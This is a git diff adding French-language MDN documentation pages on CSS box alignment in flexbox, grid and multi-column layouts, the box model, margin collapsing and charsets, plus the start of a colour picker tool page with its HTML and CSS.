  • L'axe secondaire est orthogonal à l'axe principal et l'alignement s'effectue avec align-content, align-self/align-items
    • +
+ +

Alignement sur l'axe principal

+ +
    +
  • {{cssxref("justify-content")}}
    • +
+ +

Alignement sur l'axe secondaire

+ +
    +
  • {{cssxref("align-self")}}
    • +
  • {{cssxref("align-items")}}
    • +
  • {{cssxref("align-content")}}
    • +
+ +

Absence de justify-self pour Flexbox

+ +

Sur l'axe principal et avec les boîtes flexibles, le contenu est considéré comme un seul groupe. La quantité d'espace nécessaire est calculée pour disposer les différents éléments et l'espace restant peut être réparti. La propriété justify-content contrôle la répartition de cet espace. Avec justify-content: flex-end, l'espace supplémentaire sera ajouté avant les éléments et avec justify-content: space-around, il sera placé de chaque côté.

+ +

Autrement dit, justify-self n'a pas de sens pour les boîtes flexibles car le contenu est considéré comme un seul « tenant » qui est déplacé.

+ +

Pour l'axe secondaire, align-self peut être pertinent car il peut y avoir un espace supplémentaire sur cet axe et selon lequel on peut déplacer un seul des éléments.

+ +

Alignement et marges automatiques

+ +

justify-self pourrait être utile lorsqu'on souhaite séparer un ensemble d'éléments flexibles pour créer un menu de navigation. Dans ce cas, on peut utiliser des marges automatiques avec auto. En effet, une marge avec cette valeur consommera tout l'espace disponible sur cette dimension. En définissant les marges gauche et droite avec auto, les deux côtés du bloc occuperont tout l'espace disponible et la boîte sera alors placée au centre.

+ +

En utilisant {{cssxref("margin")}} avec auto sur un élément d'un ensemble d'éléments flexibles alignés vers le début, on peut créer un tel effet. Dès qu'il n'y a plus d'espace disponible pour les marges automatiques, l'objet se comporte comme les autres objets flexibles et se réduit pour s'inscrire dans l'espace disponible.

+ +

{{EmbedGHLiveSample("css-examples/box-alignment/flexbox/auto-margins.html", '100%', 500)}}

+ +

Les propriétés gap

+ +
    +
  • {{cssxref("row-gap")}}
    • +
  • {{cssxref("column-gap")}}
    • +
  • {{cssxref("gap")}}
    • +
+ +

Créer des gouttières fixes entre chaque objet

+ +

Sur l'axe principal, la propriété column-gap permettra de créer des gouttières de taille fixe de chaque côté de l'objet.

+ +

Sur l'axe secondaire, row-gap permettra d'espace les lignes adjacentes. Aussi, il faut que flex-wrap vaille wrap afin que row-gap ait un effet.

+ +
+

Note : À l'heure où ces lignes sont écrites, seul Firefox 63 prend en charge les propriétés gap pour les boîtes flexibles. En effet, le comportement de ces propriétés pour les dispositions flexibles est un ajout récent à la spécification.

+
+ +

Référence

+ +

Propriétés CSS

+ +
+
    +
  • {{cssxref("justify-content")}}
    • +
  • {{cssxref("align-content")}}
    • +
  • {{cssxref("place-content")}}t
    • +
  • {{cssxref("justify-items")}}
    • +
  • {{cssxref("align-items")}}
    • +
  • {{cssxref("place-items")}}
    • +
  • {{cssxref("align-self")}}
    • +
  • {{cssxref("row-gap")}}
    • +
  • {{cssxref("column-gap")}}
    • +
  • {{cssxref("gap")}}
    • +
+
+ +

Termes du glossaire

+ +
+ +
+ +

Guides

+ + + +

Ressources externes

+ + diff --git a/files/fr/web/css/css_box_alignment/box_alignment_in_grid_layout/index.html b/files/fr/web/css/css_box_alignment/box_alignment_in_grid_layout/index.html new file mode 100644 index 0000000000..4adf375ac4 --- /dev/null +++ b/files/fr/web/css/css_box_alignment/box_alignment_in_grid_layout/index.html @@ -0,0 +1,119 @@ +--- +title: L'alignement des boîtes avec une grille CSS +slug: Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_grille +tags: + - CSS + - CSS Grid + - Grilles CSS + - Guide +translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_In_Grid_Layout +--- +
{{CSSRef}}
+ +

Le module de spécification Box Alignment détaille le fonctionnement de l'alignement selon les différentes méthodes de disposition. Dans cet article, nous verrons comment fonctionne l'alignement des boîtes avec les grilles CSS. Cette page détaille les aspects spécifiques relatifs à l'alignement et aux grilles. Pour une description générale des fonctionnalités communes pour les différentes dispositions, voir la page principale sur cette spécification.

+ +

Exemple simple

+ +

Dans l'exemple qui suit, on utilise une disposition en grille et le conteneur possède un espace restant après avoir disposé les pistes à largeur fixe le long de l'axe en ligne. L'espace restant est distribué grâce à la propriété justify-content. Le long de l'axe secondaire, les éléments sont alignés au sein de leurs zones avec la propriété align-items. Le premier objet surcharge la valeur fournie par align-items en utilisant align-self avec la valeur center.

+ +

{{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-align-items.html", '100%', 500)}}

+ +

Axes de la grille

+ +

La grille est une méthode de disposition sur deux dimensions.

+ +

L'axe en ligne correspond à l'axe selon lequel les mots d'une phrase sont écrits pour le mode d'écriture utilisé. Ainsi, pour une langue écrite horizontalement (comme le français ou l'arabe), l'axe en ligne sera horizontal. Pour les modes d'écriture verticaux, cet axe sera vertica.

+ +

+ +

Pour aligner des éléments selon l'axe en ligne, on utilisera les propriétés commençant par justify- : {{cssxref("justify-content")}}, {{cssxref("justify-items")}} et {{cssxref("justify-self")}}.

+ +

L'axe de bloc est orthogonal à l'axe en ligne et évolue dans le sens où les blocs sont affichés sur la page (en français, par exemple, les blocs sont disposés de bas en haut).

+ +

Pour aligner des éléments sur l'axe de bloc, on utilisera les propriétés commençant par align- : {{cssxref("align-content")}}, {{cssxref("align-items")}} et {{cssxref("align-self")}}.

+ +

+ +

Alignement individuel

+ +
    +
  • {{cssxref("justify-self")}}
    • +
  • {{cssxref("align-self")}}
    • +
  • {{cssxref("place-self")}}
    • +
  • {{cssxref("justify-items")}}
    • +
  • {{cssxref("align-items")}}
    • +
  • {{cssxref("place-items")}}
    • +
+ +

Ces propriétés permettent d'aligner individuellement chacun des éléments au sein de leur zone de grille. Les propriétés align-items et justify-items sont appliquées au conteneur de grille et définissent align-self et justify-self pour l'ensemble des sujets d'alignement. Cela signifie qu'on peut indiquer un alignement global au niveau du conteneur puis surcharger cette règle au cas par cas si besoin en utilisant align-self ou justify-self sur les éléments souhaités.

+ +

Les valeurs initiales pour align-self et justify-self sont stretch. Aussi, l'objet sera étiré sur toute la zone de grille qui lui est dédié. Une exception est apportée à cette règle lorsque l'élément possède des proportions intrinsèques (une image par exemple) ; dans ce cas, l'élément est aligné avec startsur les deux axes et l'élément n'est pas déformé.

+ +

Alignement du contenu

+ +
    +
  • {{cssxref("justify-content")}}
    • +
  • {{cssxref("align-content")}}
    • +
  • {{cssxref("place-content")}}
    • +
+ +

Ces propriétés indiquent comment aligner les pistes de la grille lorsqu'il reste de l'espace à répartir. Ce scénario se produit uniquement si la somme des tailles des pistes est inférieure à la taille du conteneur de grille.

+ +

Gouttières et versions préfixées des propriétés

+ +
    +
  • {{cssxref("row-gap")}}
    • +
  • {{cssxref("column-gap")}}
    • +
  • {{cssxref("gap")}}
    • +
  • {{cssxref("grid-row-gap")}}
    • +
  • {{cssxref("grid-column-gap")}}
    • +
  • {{cssxref("grid-gap")}}
    • +
+ +

La spécification sur les grilles contenaient initialement les définitions des propriétés {{cssxref("grid-row-gap")}}, {{cssxref("grid-column-gap")}} et {{cssxref("grid-gap")}}. Les définitions de ces propriétés ont depuis été déplacées dans le module de spécification Box Alignment et ont respectivement été renommées en {{cssxref("row-gap")}}, {{cssxref("column-gap")}} et {{cssxref("gap")}}. Ainsi, elles peuvent être utilisées pour d'autres méthodes de disposition où les gouttières sont pertinentes.

+ +

À l'heure actuelle (juin 2018), seul Microsoft Edge prend en charge les versions non-préfixées pour ces propriétés. Il vaut donc mieux utiliser les deux versions (avec puis sans préfixe grid-) afin d'assurer une meilleure compatibilité.

+ +

Référence

+ +

Propriétés CSS

+ +
+
    +
  • {{cssxref("justify-content")}}
    • +
  • {{cssxref("align-content")}}
    • +
  • {{cssxref("place-content")}}t
    • +
  • {{cssxref("justify-items")}}
    • +
  • {{cssxref("align-items")}}
    • +
  • {{cssxref("place-items")}}
    • +
  • {{cssxref("justify-self")}}
    • +
  • {{cssxref("align-self")}}
    • +
  • {{cssxref("place-self")}}
    • +
  • {{cssxref("row-gap")}}
    • +
  • {{cssxref("column-gap")}}
    • +
  • {{cssxref("gap")}}
    • +
+
+ +

Termes du glossaire

+ +
+ +
+ +

Guides

+ + + +

Ressources externes

+ + diff --git a/files/fr/web/css/css_box_alignment/box_alignment_in_multi-column_layout/index.html b/files/fr/web/css/css_box_alignment/box_alignment_in_multi-column_layout/index.html new file mode 100644 index 0000000000..36bee5640e --- /dev/null +++ b/files/fr/web/css/css_box_alignment/box_alignment_in_multi-column_layout/index.html @@ -0,0 +1,51 @@ +--- +title: L'alignement des boîtes avec une disposition en colonnes +slug: Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_colonnes +tags: + - CSS + - Guide +translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Multi-column_Layout +--- +
{{CSSRef}}
+ +

Le module de spécification Box Alignment détaille le fonctionnement de l'alignement selon les différentes méthodes de disposition. Dans cet article, nous verrons comment fonctionne l'alignement des boîtes avec une disposition multi-colonnes. Cette page détaille les aspects spécifiques relatifs à l'alignement et au module Multi-Column Layout. Pour une description générale des fonctionnalités communes pour les différentes dispositions, voir la page principale sur cette spécification.

+ +

Pour une disposition en colonne, le conteneur d'alignement est le conteneur de colonnes. Le sujet d'alignement correspond à la boîte de colonne. Les propriétés qui s'appliquent pour ce type de disposition sont détaillées ci-après.

+ +
+

Note : Le module de spécification de la disposition en colonnes (Multi-Column Layout) précède celui pour l'alignement des boîtes. Aussi, certaines des propriétés décrites ici, bien que spécifiées afin de fonctionner pour ce mode de disposition, peuvent ne pas encore être prises en charge par les navigateurs.

+
+ +

align-content et justify-content

+ +

La propriété {{cssxref("align-content")}} s'applique à l'axe de bloc et la propriété {{cssxref("justify-content")}} s'applique à l'axe en ligne. Tout espace ajouté entre les colonnes selon la distribution choisie sera ajouté entre les colonnes. Les gouttières pourront donc être plus larges que celles indiquées par la propriété {{cssxref("column-gap")}}.

+ +

Utiliser justify-content avec une valeur différente de normal ou stretch entraînera un dimensionnement des colonnes avec la valeur de {{cssxref("column-width")}}, définie sur le conteneur multi-colonnes. L'espace restant sera alors réparti selon la valeur de justify-content.

+ +

column-gap

+ +

La propriété {{cssxref("column-gap")}} a été définie dans des versions antérieures du module de spécification pour la disposition multi-colonne. Son rôle a été généralisé avec les autres propriétés d'espacement dans le module d'alignement des boîtes.

+ +

On notera que, si les autres modes de disposition utilisent une valeur initiale de 0 pour column-gap, la disposition multi-colonne utilise une valeur initiale de 1em.

+ +

Référence

+ +

Propriétés CSS

+ +
+
    +
  • {{cssxref("justify-content")}}
    • +
  • {{cssxref("align-content")}}
    • +
  • {{cssxref("column-gap")}}
    • +
+
+ +

Termes du glossaire

+ +
+ +
diff --git a/files/fr/web/css/css_box_model/index.html b/files/fr/web/css/css_box_model/index.html new file mode 100644 index 0000000000..3bc62c03f1 --- /dev/null +++ b/files/fr/web/css/css_box_model/index.html @@ -0,0 +1,115 @@ +--- +title: Modèle de boîte +slug: Web/CSS/Modèle_de_boîte_CSS +tags: + - Aperçu + - CSS + - CSS Box Model + - Overview + - Reference +translation_of: Web/CSS/CSS_Box_Model +--- +
{{CSSRef}}
+ +

Le modèle de boîte CSS (Basic Box Model en anglais) est un module CSS qui définit les boîtes rectangulaires (y compris leurs zones de remplissage (padding) et de marges) qui sont générées pour disposer les éléments selon leur modèle de mise en forme visuelle.

+ +

Référence

+ +

Propriétés

+ +

Les propriétés qui définissent le flux du contenu dans une boîte

+ +
+
    +
  • {{cssxref("overflow")}}
    • +
  • {{cssxref("overflow-x")}}
    • +
  • {{cssxref("overflow-y")}}
    • +
+
+ +

Les propriétés qui définissent la taille d'une boîte

+ +
+
    +
  • {{cssxref("height")}}
    • +
  • {{cssxref("width")}}
    • +
  • {{cssxref("max-height")}}
    • +
  • {{cssxref("max-width")}}
    • +
  • {{cssxref("min-height")}}
    • +
  • {{cssxref("min-width")}}
    • +
+
+ +

Les propriétés qui définissent les marges d'une boîte

+ +
+
    +
  • {{cssxref("margin")}}
    • +
  • {{cssxref("margin-bottom")}}
    • +
  • {{cssxref("margin-left")}}
    • +
  • {{cssxref("margin-right")}}
    • +
  • {{cssxref("margin-top")}}
    • +
  • {{CSSxRef("margin-trim")}} {{Experimental_Inline}}
    • +
+
+ +

Les propriétés qui définissent le remplissage (padding) d'une boîte

+ +
+
    +
  • {{cssxref("padding")}}
    • +
  • {{cssxref("padding-bottom")}}
    • +
  • {{cssxref("padding-left")}}
    • +
  • {{cssxref("padding-right")}}
    • +
  • {{cssxref("padding-top")}}
    • +
+
+ +

Les autres propriétés

+ +
+
    +
  • {{cssxref("box-shadow")}}
    • +
  • {{cssxref("visibility")}}
    • +
+
+ +

Guides

+ +
+
Une introduction au modèle de boîte CSS
+
Cet article explique un des concepts clé de CSS : le modèle de boîte. Il définit notamment les notions de marge, de remplissage (padding) ainsi que les différentes zones qui forment une boîte.
+
Maîtriser la fusion des marges
+
Dans certains cas, deux marges adjacentes sont fusionnées en une seule. Cet article explique quand cela se produit et comment contrôler ce comportement.
+
Le modèle de mise en forme visuel
+
Cet article explique le modèle de mise en forme visuel.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("CSS3 Box")}}{{Spec2("CSS3 Box")}}Added margin-trim
{{SpecName("CSS2.1", "box.html")}}{{Spec2("CSS2.1")}} 
{{SpecName("CSS1")}}{{Spec2("CSS1")}}Définition initiale.
diff --git a/files/fr/web/css/css_box_model/mastering_margin_collapsing/index.html b/files/fr/web/css/css_box_model/mastering_margin_collapsing/index.html new file mode 100644 index 0000000000..3b14f121d8 --- /dev/null +++ b/files/fr/web/css/css_box_model/mastering_margin_collapsing/index.html @@ -0,0 +1,92 @@ +--- +title: Fusion des marges +slug: Web/CSS/Modèle_de_boîte_CSS/Fusion_des_marges +tags: + - CSS + - Reference +translation_of: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing +--- +
{{CSSRef}}
+ +
Les marges haute et basse des blocs sont parfois fusionnées en une seule marge dont la taille est la plus grande des deux marges fusionnées. C'est ce qu'on appelle la fusion des marges.
+ +

La fusion des marges se produit si on a l'un de ces trois cas :

+ +
+
Des éléments voisins adjacents
+
Les marges des éléments voisins adjacents sont fusionnés (sauf quand le dernier voisin doit passer à la ligne pour dégager les flottements). Ainsi : + 
 <p>La marge basse de ce paragraphe est fusionnée…</p>
+ <p>… avec la marge haute de celui-ci.</p>
+
+
+
Aucun contenu séparant le parent et ses descendants
+
S'il n'y a aucune bordure, remplissage, contenu en ligne (inline), lorsqu' un contexte de formatage de blocs est créé ou dégagement pour séparer la marge haute d'un bloc avec la marge haute d'un ou plusieurs des blocs descendants ou quand il n'y a aucune bordure, remplissage, contenu en ligne, {{cssxref("height")}}, {{cssxref("min-height")}} ou {{cssxref("max-height")}} pour séparer la marge basse d'un bloc avec la marge basse d'un ou plusieurs des blocs descendants, ces marges sont fusionnées. La marge fusionnée termine en dehors de l'élément parent.
+
Des blocs vides
+
S'il n'y a aucune bordure, remplissage, contenu en ligne, {{cssxref("height")}} ou {{cssxref("min-height")}} pour séparer la marge haute d'un bloc de sa marge basse, ces deux marges sont fusionnées.
+
+ +

On peut avoir des cas de fusion plus complexes lorsque ces cas de figures sont combinés.

+ +

Ces règles s'appliquent également lorsque les marges sont égales à 0. Ainsi, la marge d'une descendant finit toujours en dehors de l'élément parent (selon la deuxième règle vue ci-avant) quelle que soit la marge de l'élément parent (nulle ou non).

+ +

Lorsqu'on manipule des marges négatives, la taille de la marge fusionnée est la somme de la marge positive la plus grande et de la marge négative la plus petite (celle dont la valeur est plus éloignée de 0).

+ +

Les marges des éléments flottants et positionnés de façon absolue ne sont jamais fusionnées.

+ +

Exemples

+ +

HTML

+ +
<p>La marge basse de ce paragraphe est fusionnée…</p>
+<p>… avec la marge haute de ce paragraphe. On a donc une marge
+   de <code>1.2rem</code> entre les deux.</p>
+
+<div>Cet élément contient deux paragraphes !
+  <p>Celui-ci a une marge de <code>.4rem</code> par rapport au texte ci-dessus.</p>
+  <p>La marge basse de cet élément fusionne avec la marge basse
+     de l'élément parent. On a donc <code>2rem</code> de marge.
+</p>
+</div>
+
+<p>Bip bap bop.</p>
+ +

CSS

+ +
div {
+  margin: 2rem 0;
+  background: lavender;
+}
+
+p {
+  margin: .4rem 0 1.2rem 0;
+  background: yellow;
+}
+ +

Résultat

+ +

{{EmbedLiveSample('Exemples','100%',250)}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("CSS2.1", "box.html#collapsing-margins", "margin collapsing")}}{{Spec2("CSS2.1")}}Définition initiale.
+ +

Voir aussi

+ + diff --git a/files/fr/web/css/css_charsets/index.html b/files/fr/web/css/css_charsets/index.html new file mode 100644 index 0000000000..a7c76a2c4e --- /dev/null +++ b/files/fr/web/css/css_charsets/index.html @@ -0,0 +1,50 @@ +--- +title: Jeux de caractères CSS +slug: Web/CSS/Jeux_de_caractères_CSS +tags: + - Aperçu + - CSS + - CSS Charsets + - Reference +translation_of: Web/CSS/CSS_Charsets +--- +
{{CSSRef}}
+ +

Les jeux de caractères pour CSS est un module CSS qui permet de définir le jeu de caractères utilisé dans les feuilles de style.

+ +

Référence

+ +

Règles @

+ +
+
    +
  • {{cssxref("@charset")}}
    • +
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS2.1', 'syndata.html#x57', '@charset')}}{{Spec2('CSS2.1')}}Définition initiale
+ +

Compatibilité des navigateurs

+ +

Règle-@ @charset

+ + + +

{{Compat("css.at-rules.charset")}}

diff --git a/files/fr/web/css/css_colors/color_picker_tool/index.html b/files/fr/web/css/css_colors/color_picker_tool/index.html new file mode 100644 index 0000000000..df4aa4661c --- /dev/null +++ b/files/fr/web/css/css_colors/color_picker_tool/index.html @@ -0,0 +1,3235 @@ +--- +title: Sélecteur de couleurs CSS +slug: Web/CSS/Couleurs_CSS/Sélecteur_de_couleurs +tags: + - CSS + - Outil +translation_of: Web/CSS/CSS_Colors/Color_picker_tool +--- +
+

ColorPIcker Tool

+ +

HTML Content

+ +
 <div id="container">
+  <div id="palette" class="block">
+   <div id="color-palette"></div>
+   <div id="color-info">
+    <div class="title">Couleurs CSS </div>
+   </div>
+  </div>
+
+  <div id="picker" class="block">
+   <div class="ui-color-picker" data-topic="picker" data-mode="HSL"></div>
+   <div id="picker-samples" sample-id="master"></div>
+   <div id="controls">
+    <div id="delete">
+     <div id="trash-can"></div>
+    </div>
+    <div id="void-sample" class="icon"></div>
+   </div>
+  </div>
+
+  <div id="canvas" data-tutorial="drop">
+   <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
+    data-max="20" data-sensivity="10"></div>
+  </div>
+ </div>
+
+
+ +

CSS Content

+ +
/*
+ * COLOR PICKER TOOL
+ */
+
+.ui-color-picker {
+	width: 420px;
+	margin: 0;
+	border: 1px solid #DDD;
+	background-color: #FFF;
+	display: table;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-color-picker .picking-area {
+	width: 198px;
+	height: 198px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: relative;
+	float: left;
+	display: table;
+}
+
+.ui-color-picker .picking-area:hover {
+	cursor: default;
+}
+
+/* HSV format - Hue-Saturation-Value(Brightness) */
+.ui-color-picker .picking-area {
+	background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
+
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+
+	background-color: #F00;
+}
+
+/* HSL format - Hue-Saturation-Lightness */
+.ui-color-picker[data-mode='HSL'] .picking-area {
+	background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background-color: #F00;
+}
+
+.ui-color-picker .picker {
+	width: 10px;
+	height: 10px;
+	border-radius: 50%;
+	border: 1px solid #FFF;
+	position: absolute;
+	top: 45%;
+	left: 45%;
+}
+
+.ui-color-picker .picker:before {
+	width: 8px;
+	height: 8px;
+	content: "";
+	position: absolute;
+	border: 1px solid #999;
+	border-radius: 50%;
+}
+
+.ui-color-picker .hue,
+.ui-color-picker .alpha {
+	width: 198px;
+	height: 28px;
+	margin: 5px;
+	border: 1px solid #FFF;
+	float: left;
+}
+
+.ui-color-picker .hue {
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+}
+
+.ui-color-picker .alpha {
+	border: 1px solid #CCC;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+}
+
+.ui-color-picker .alpha-mask {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
+}
+
+.ui-color-picker .slider-picker {
+	width: 2px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+}
+
+/* input HSV and RGB */
+
+.ui-color-picker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+.ui-color-picker .info * {
+	float: left;
+}
+
+.ui-color-picker .input {
+	width: 64px;
+	margin: 5px 2px;
+	float: left;
+}
+
+.ui-color-picker .input .name {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+.ui-color-picker .input input {
+	width: 30px;
+	height: 18px;
+	margin: 0;
+	padding: 0;
+	border: 1px solid #DDD;
+	text-align: center;
+	float: right;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+.ui-color-picker .input[data-topic="lightness"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
+	display: block;
+}
+
+.ui-color-picker .input[data-topic="alpha"] {
+	margin-top: 10px;
+	width: 93px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] > .name {
+	width: 60px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] > input {
+	float: right;
+}
+
+.ui-color-picker .input[data-topic="hexa"] {
+	width: auto;
+	float: right;
+	margin: 6px 8px 0 0;
+}
+
+.ui-color-picker .input[data-topic="hexa"] > .name {
+	display: none;
+}
+
+.ui-color-picker .input[data-topic="hexa"] > input {
+	width: 90px;
+	height: 24px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/* Preview color */
+.ui-color-picker .preview {
+	width: 95px;
+	height: 53px;
+	margin: 5px;
+	margin-top: 10px;
+	border: 1px solid #DDD;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+	float: left;
+	position: relative;
+}
+
+.ui-color-picker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	top: 0;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .preview-color {
+	width: 100%;
+	height: 100%;
+	background-color: rgba(255, 0, 0, 0.5);
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .switch_mode {
+	width: 10px;
+	height: 20px;
+	position: relative;
+	border-radius: 5px 0 0 5px;
+	border: 1px solid #DDD;
+	background-color: #EEE;
+	left: -12px;
+	top: -1px;
+	z-index: 1;
+	transition: all 0.5s;
+}
+
+.ui-color-picker .switch_mode:hover {
+	background-color: #CCC;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider > input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * COLOR PICKER TOOL
+ */
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	box-shadow: 0 0 5px 0 #999;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+
+}
+
+/**
+ * Resize Handle
+ */
+.resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+[data-resize='both']:hover {
+	cursor: nw-resize !important;
+}
+
+[data-resize='width']:hover {
+	cursor: w-resize !important;
+}
+
+[data-resize='height']:hover {
+	cursor: n-resize !important;
+}
+
+[data-hidden='true'] {
+	display: none;
+}
+
+[data-collapsed='true'] {
+	height: 0 !important;
+}
+
+.block {
+	display: table;
+}
+
+
+/**
+ * 	Container
+ */
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	display: table;
+}
+
+/**
+ * 	Picker Zone
+ */
+
+#picker {
+	padding: 10px;
+	width: 980px;
+}
+
+.ui-color-picker {
+	padding: 3px 5px;
+	float: left;
+	border-color: #FFF;
+}
+
+.ui-color-picker .switch_mode {
+	display: none;
+}
+
+.ui-color-picker .preview-color:hover {
+	cursor: move;
+}
+
+/**
+ * Picker Container
+ */
+
+#picker-samples {
+	width: 375px;
+	height: 114px;
+	max-height: 218px;
+	margin: 0 10px 0 30px;
+	overflow: hidden;
+	position: relative;
+	float: left;
+
+	transition: all 0.2s;
+}
+
+#picker-samples .sample {
+	width: 40px;
+	height: 40px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: absolute;
+	float: left;
+	transition: all 0.2s;
+}
+
+#picker-samples .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#picker-samples .sample[data-active='true'] {
+	border-color: #999;
+}
+
+#picker-samples .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#picker-samples #add-icon {
+	width: 100%;
+	height: 100%;
+	position: relative;
+	box-shadow: inset 0px 0px 2px 0px #DDD;
+}
+
+#picker-samples #add-icon:hover {
+	cursor: pointer;
+	border-color: #DDD;
+	box-shadow: inset 0px 0px 5px 0px #CCC;
+}
+
